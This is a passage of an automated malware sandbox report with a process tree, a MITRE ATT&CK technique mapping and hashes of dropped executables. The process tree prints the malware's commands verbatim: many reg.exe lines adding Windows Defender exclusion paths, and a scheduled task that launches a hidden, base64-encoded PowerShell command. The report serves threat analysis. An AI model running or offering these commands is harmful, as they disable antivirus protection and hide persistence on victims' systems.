                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:4948
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:5848
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:5752
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:4636
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:5784
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:3788
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3580
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3968
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4776
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2996
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4208
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:6104
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2480
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:224
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5816
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3884
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:3156
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2456
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3232
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /CREATE /TN "gEJrABNOA" /SC once /ST 08:14:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        PID:3140
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /run /I /tn "gEJrABNOA"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1152
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:5960
                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:1576
                                                                                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:5944
                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5804
                                                                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5372

                                                                                                                                                                              Network

                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                              Reconnaissance

                                                                                                                                                                              Resource Development

                                                                                                                                                                              Initial Access

                                                                                                                                                                              Execution

                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                              1
                                                                                                                                                                              T1053

                                                                                                                                                                              Persistence

                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                              1
                                                                                                                                                                              T1547

                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                              1
                                                                                                                                                                              T1547.001

                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                              3
                                                                                                                                                                              T1543

                                                                                                                                                                              Windows Service

                                                                                                                                                                              3
                                                                                                                                                                              T1543.003

                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                              1
                                                                                                                                                                              T1053

                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                                                              1
                                                                                                                                                                              T1548

                                                                                                                                                                              Bypass User Account Control

                                                                                                                                                                              1
                                                                                                                                                                              T1548.002

                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                              1
                                                                                                                                                                              T1547

                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                              1
                                                                                                                                                                              T1547.001

                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                              3
                                                                                                                                                                              T1543

                                                                                                                                                                              Windows Service

                                                                                                                                                                              3
                                                                                                                                                                              T1543.003

                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                              1
                                                                                                                                                                              T1053

                                                                                                                                                                              Defense Evasion

                                                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                                                              1
                                                                                                                                                                              T1548

                                                                                                                                                                              Bypass User Account Control

                                                                                                                                                                              1
                                                                                                                                                                              T1548.002

                                                                                                                                                                              Impair Defenses

                                                                                                                                                                              5
                                                                                                                                                                              T1562

                                                                                                                                                                              Disable or Modify System Firewall

                                                                                                                                                                              1
                                                                                                                                                                              T1562.004

                                                                                                                                                                              Disable or Modify Tools

                                                                                                                                                                              3
                                                                                                                                                                              T1562.001

                                                                                                                                                                              Modify Registry

                                                                                                                                                                              7
                                                                                                                                                                              T1112

                                                                                                                                                                              Subvert Trust Controls

                                                                                                                                                                              1
                                                                                                                                                                              T1553

                                                                                                                                                                              Install Root Certificate

                                                                                                                                                                              1
                                                                                                                                                                              T1553.004

                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                              2
                                                                                                                                                                              T1497

                                                                                                                                                                              Credential Access

                                                                                                                                                                              Unsecured Credentials

                                                                                                                                                                              5
                                                                                                                                                                              T1552

                                                                                                                                                                              Credentials In Files

                                                                                                                                                                              4
                                                                                                                                                                              T1552.001

                                                                                                                                                                              Credentials in Registry

                                                                                                                                                                              1
                                                                                                                                                                              T1552.002

                                                                                                                                                                              Discovery

                                                                                                                                                                              Peripheral Device Discovery

                                                                                                                                                                              2
                                                                                                                                                                              T1120

                                                                                                                                                                              Query Registry

                                                                                                                                                                              10
                                                                                                                                                                              T1012

                                                                                                                                                                              System Information Discovery

                                                                                                                                                                              9
                                                                                                                                                                              T1082

                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                              2
                                                                                                                                                                              T1497

                                                                                                                                                                              Lateral Movement

                                                                                                                                                                              Collection

                                                                                                                                                                              Data from Local System

                                                                                                                                                                              5
                                                                                                                                                                              T1005

                                                                                                                                                                              Command and Control

                                                                                                                                                                              Web Service

                                                                                                                                                                              1
                                                                                                                                                                              T1102

                                                                                                                                                                              Exfiltration

                                                                                                                                                                              Impact

                                                                                                                                                                              Service Stop

                                                                                                                                                                              1
                                                                                                                                                                              T1489

                                                                                                                                                                              Replay Monitor

                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                              Downloads

                                                                                                                                                                              • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                2.5MB

                                                                                                                                                                                MD5

                                                                                                                                                                                bf4360d76b38ed71a8ec2391f1985a5f

                                                                                                                                                                                SHA1

                                                                                                                                                                                57d28dc8fd4ac052d0ae32ca22143e7b57733003

                                                                                                                                                                                SHA256

                                                                                                                                                                                4ebec636d15203378e15cc11967d00cbd17e040db1fca85cf3c10bbf7451adaf

                                                                                                                                                                                SHA512

                                                                                                                                                                                7b46bc87dc384d8227adf5b538861165fa9efa18e28f2de5c1a1bb1a3a9f6bef29b449706c4d8e637ae9805bb51c8548cb761facf82d1c273d3e3699ae727acd

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Program Files (x86)\GameServerClient\GameServerClientC.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                13.2MB

                                                                                                                                                                                MD5

                                                                                                                                                                                41b332ddc0b2faad06c4e94f689803af

                                                                                                                                                                                SHA1

                                                                                                                                                                                f30985161ff56a9a6af7e8c5e666494513e587ba

                                                                                                                                                                                SHA256

                                                                                                                                                                                49c32c99e5602a6fa8c8d0df198f0e3bb530777384d5103e90630a1b94f65ab0

                                                                                                                                                                                SHA512

                                                                                                                                                                                808b9c909741ebe64feb24c18b5dd9a802501adaa793670b899cdb26375baa0d35095b74cde768c462a085d76c4129abe7c8523132f5836c4e1ea2b081b755e1

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                288KB

                                                                                                                                                                                MD5

                                                                                                                                                                                d9ec6f3a3b2ac7cd5eef07bd86e3efbc

                                                                                                                                                                                SHA1

                                                                                                                                                                                e1908caab6f938404af85a7df0f80f877a4d9ee6

                                                                                                                                                                                SHA256

                                                                                                                                                                                472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

                                                                                                                                                                                SHA512

                                                                                                                                                                                1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Program Files (x86)\GameServerClient\installc.bat
                                                                                                                                                                                Filesize

                                                                                                                                                                                244B

                                                                                                                                                                                MD5

                                                                                                                                                                                a3d3d85bc0b7945908dd1a5eaf6e6266

                                                                                                                                                                                SHA1

                                                                                                                                                                                8979e79895226f2d05f8af1e10b99e8496348131

                                                                                                                                                                                SHA256

                                                                                                                                                                                3aad1c9feb23c9383ee7e5c8cb966afd262142b2e0124b8e9cda010ea53f24c6

                                                                                                                                                                                SHA512

                                                                                                                                                                                9184b09bdc10fb3ec981624f286ab4228917f8b1f5cbec7ee875d468c38461395d970d860e3ff99cb184e8839ed6c3ca85a9eaffdd24f15c74b311623c48f618

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Program Files (x86)\GameServerClient\installg.bat
                                                                                                                                                                                Filesize

                                                                                                                                                                                238B

                                                                                                                                                                                MD5

                                                                                                                                                                                b6b57c523f3733580d973f0f79d5c609

                                                                                                                                                                                SHA1

                                                                                                                                                                                2cc30cfd66817274c84f71d46f60d9e578b7bf95

                                                                                                                                                                                SHA256

                                                                                                                                                                                d8d718641bdf39cca1a5db7bb52d3c66d400a97bef3cafdd81cd7e711a51c570

                                                                                                                                                                                SHA512

                                                                                                                                                                                d39440163592bc3b1cb7830f236a97d5819c10775e453637d5a04a981e9a336480c6b4701afdceba0d52dfe09413b7abe2ad58ff55b5057a26229f3ccdc3a7c7

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\ProgramData\mozglue.dll
                                                                                                                                                                                Filesize

                                                                                                                                                                                593KB

                                                                                                                                                                                MD5

                                                                                                                                                                                c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                                SHA1

                                                                                                                                                                                95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                                SHA256

                                                                                                                                                                                ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                                                SHA512

                                                                                                                                                                                fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\ProgramData\nss3.dll
                                                                                                                                                                                Filesize

                                                                                                                                                                                2.0MB

                                                                                                                                                                                MD5

                                                                                                                                                                                1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                                                                                SHA1

                                                                                                                                                                                6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                                                                                SHA256

                                                                                                                                                                                ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                                                                                SHA512

                                                                                                                                                                                dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                SHA1

                                                                                                                                                                                31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                SHA256

                                                                                                                                                                                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                SHA512

                                                                                                                                                                                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                968cb9309758126772781b83adb8a28f

                                                                                                                                                                                SHA1

                                                                                                                                                                                8da30e71accf186b2ba11da1797cf67f8f78b47c

                                                                                                                                                                                SHA256

                                                                                                                                                                                92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                                                                                                                                                                                SHA512

                                                                                                                                                                                4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                                Filesize

                                                                                                                                                                                19KB

                                                                                                                                                                                MD5

                                                                                                                                                                                0e1c5164301d7ebe26a21dcd3a888e6c

                                                                                                                                                                                SHA1

                                                                                                                                                                                56d2b46e0570c3f3c63e42db94ab1cebc85aa0da

                                                                                                                                                                                SHA256

                                                                                                                                                                                9ad6b5693ccf62382b09b5994a17f5044c9e3cd12519e5d4c963324750c39da8

                                                                                                                                                                                SHA512

                                                                                                                                                                                5f8fb8a67a08ac0b620f8cde4c574f70dad2efa88fdc2f8be20ae8ea1bca07f1feb7fd30048578ea91c41a35c2c2337bbd9552254b0e0dccd3535227169267b2

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                Filesize

                                                                                                                                                                                1KB

                                                                                                                                                                                MD5

                                                                                                                                                                                baa7aea69f1fc6de5c6744a3de244d9c

                                                                                                                                                                                SHA1

                                                                                                                                                                                7ac32cd8e4afa29cbb6c04bb8727735c29ebadc5

                                                                                                                                                                                SHA256

                                                                                                                                                                                adb474e336b151cf28ead952e8248f9ec8daf30aadc78e716822d9c27f6dde69

                                                                                                                                                                                SHA512

                                                                                                                                                                                4927c72a9d778a8343f812714356150069349e39937f2e32c62f19ffee226b94eada91756f07f96e22472252f20185177038b3e1e1dd7b8920d676e4e2198f0c

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\additional_file0.tmp
                                                                                                                                                                                Filesize

                                                                                                                                                                                2.5MB

                                                                                                                                                                                MD5

                                                                                                                                                                                15d8c8f36cef095a67d156969ecdb896

                                                                                                                                                                                SHA1

                                                                                                                                                                                a1435deb5866cd341c09e56b65cdda33620fcc95

                                                                                                                                                                                SHA256

                                                                                                                                                                                1521c69f478e9ced2f64b8714b9e19724e747cd8166e0f7ab5db1151a523dda8

                                                                                                                                                                                SHA512

                                                                                                                                                                                d6f48180d4dcb5ba83a9c0166870ac00ea67b615e749edf5994bc50277bf97ca87f582ac6f374c5351df252db73ee1231c943b53432dbb7563e12bbaf5bb393a

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\opera_package
                                                                                                                                                                                Filesize

                                                                                                                                                                                103.9MB

                                                                                                                                                                                MD5

                                                                                                                                                                                b7e7c07657383452919ee39c5b975ae8

                                                                                                                                                                                SHA1

                                                                                                                                                                                2a6463ac1eb8be1825b123b12f75c86b7fff6591

                                                                                                                                                                                SHA256

                                                                                                                                                                                1d3f55e541be41e98341cb1d7b5d10487f886093370bdccdb26c70c322246bb9

                                                                                                                                                                                SHA512

                                                                                                                                                                                daeabc9a4d76e1107681e96b1371682fa6dd589001f8b03fe41165d5c32a96179daeac359f86772c9768fdbdee271c16f92ad0dbd10b2fc7cde3970f0c92aa39

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                321KB

                                                                                                                                                                                MD5

                                                                                                                                                                                1c7d0f34bb1d85b5d2c01367cc8f62ef

                                                                                                                                                                                SHA1

                                                                                                                                                                                33aedadb5361f1646cffd68791d72ba5f1424114

                                                                                                                                                                                SHA256

                                                                                                                                                                                e9e09c5e5d03d21fca820bd9b0a0ea7b86ab9e85cdc9996f8f1dc822b0cc801c

                                                                                                                                                                                SHA512

                                                                                                                                                                                53bf85d2b004f69bbbf7b6dc78e5f021aba71b6f814101c55d3bf76e6d058a973bc58270b6b621b2100c6e02d382f568d1e96024464e8ea81e6db8ccd948679d

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                2.7MB

                                                                                                                                                                                MD5

                                                                                                                                                                                31841361be1f3dc6c2ce7756b490bf0f

                                                                                                                                                                                SHA1

                                                                                                                                                                                ff2506641a401ac999f5870769f50b7326f7e4eb

                                                                                                                                                                                SHA256

                                                                                                                                                                                222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee

                                                                                                                                                                                SHA512

                                                                                                                                                                                53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                460KB

                                                                                                                                                                                MD5

                                                                                                                                                                                b22521fb370921bb5d69bf8deecce59e

                                                                                                                                                                                SHA1

                                                                                                                                                                                3d4486b206e8aaac14a3cf201c5ac152a2a7d4ea

                                                                                                                                                                                SHA256

                                                                                                                                                                                b30d10e292f89f4d288839974f71f6b703d6d9a9ae698ea172a2b64364e77158

                                                                                                                                                                                SHA512

                                                                                                                                                                                1f7d64ba5266314ed18f577f0984706c21f4f48e8cdb069130e4435c2bcdf219f8dd27e4d3bf3a373f4db4c01e30efe8d7f4d87f4d8cbbbeaf9c7043f685994c

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                418KB

                                                                                                                                                                                MD5

                                                                                                                                                                                0099a99f5ffb3c3ae78af0084136fab3

                                                                                                                                                                                SHA1

                                                                                                                                                                                0205a065728a9ec1133e8a372b1e3864df776e8c

                                                                                                                                                                                SHA256

                                                                                                                                                                                919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226

                                                                                                                                                                                SHA512

                                                                                                                                                                                5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                304KB

                                                                                                                                                                                MD5

                                                                                                                                                                                8510bcf5bc264c70180abe78298e4d5b

                                                                                                                                                                                SHA1

                                                                                                                                                                                2c3a2a85d129b0d750ed146d1d4e4d6274623e28

                                                                                                                                                                                SHA256

                                                                                                                                                                                096220045877e456edfea1adcd5bf1efd332665ef073c6d1e9474c84ca5433f6

                                                                                                                                                                                SHA512

                                                                                                                                                                                5ff0a47f9e14e22fc76d41910b2986605376605913173d8ad83d29d85eb79b679459e2723a6ad17bc3c3b8c9b359e2be7348ee1c21fa2e8ceb7cc9220515258d

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                158KB

                                                                                                                                                                                MD5

                                                                                                                                                                                586f7fecacd49adab650fae36e2db994

                                                                                                                                                                                SHA1

                                                                                                                                                                                35d9fb512a8161ce867812633f0a43b042f9a5e6

                                                                                                                                                                                SHA256

                                                                                                                                                                                cf88d499c83da613ad5ccd8805822901bdc3a12eb9b15804aeff8c53dc05fc4e

                                                                                                                                                                                SHA512

                                                                                                                                                                                a44a2c99d18509681505cf70a251baf2558030a8648d9c621acc72fafcb2f744e3ef664dfd0229baf7c78fb72e69f5d644c755ded4060dcafa7f711d70e94772

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                782KB

                                                                                                                                                                                MD5

                                                                                                                                                                                7fabf15848c951f6665ec449c8c77098

                                                                                                                                                                                SHA1

                                                                                                                                                                                f9ef6114a8e2d3838d0cadd4a71d6baf95e133cf

                                                                                                                                                                                SHA256

                                                                                                                                                                                a440e88b2c1d1746b82ffaadaef0571a14f3d76dbabba87b0c3de6ac5eff2f35

                                                                                                                                                                                SHA512

                                                                                                                                                                                4e8b84b13bf04befb12d2f1b2f36a1a7285be640315c1a8eb61137f77ca2202b62892d95fee02debaa75ca3b5d782a5d0a7a08a010206929187504a91e9ddb0a

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                2.4MB

                                                                                                                                                                                MD5

                                                                                                                                                                                55f780ea4dc5a5401b80915d69a55481

                                                                                                                                                                                SHA1

                                                                                                                                                                                5ebdde7f87637493de0a5e7a4ffcd59839672c4e

                                                                                                                                                                                SHA256

                                                                                                                                                                                c3014a898f63fab694a759d56bb0b3c979484eedd32708e1467e566b4f3dfa70

                                                                                                                                                                                SHA512

                                                                                                                                                                                680ca9d6f5aa4d53e7083858bfd4d3fc71f567993968edc83ddf262e15b2ed06f07c5a4c47e65f4874074213adf3cd978b8eaa658563694caf013fb126948697

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
                                                                                                                                                                                Filesize

                                                                                                                                                                                1.8MB

                                                                                                                                                                                MD5

                                                                                                                                                                                07aa91f07cf4d93f7178d110968f2c3d

                                                                                                                                                                                SHA1

                                                                                                                                                                                90650b1c2d6b1de9e8119008dfd5e7735c853095

                                                                                                                                                                                SHA256

                                                                                                                                                                                86793dc6f281fd12bf3680195217f848082a4de976366e1e4cb14a8af320556e

                                                                                                                                                                                SHA512

                                                                                                                                                                                c74dd3fbeaf030dc2b8679a3082dc4a628dda028cd35dc564198017f55b0e893dc5d7f1b65e8d7f2f6f275e8e1fba4ec8c1665b501ea9a6ca5f203e096d782b4

                                                                                                                                                                                Download Submit

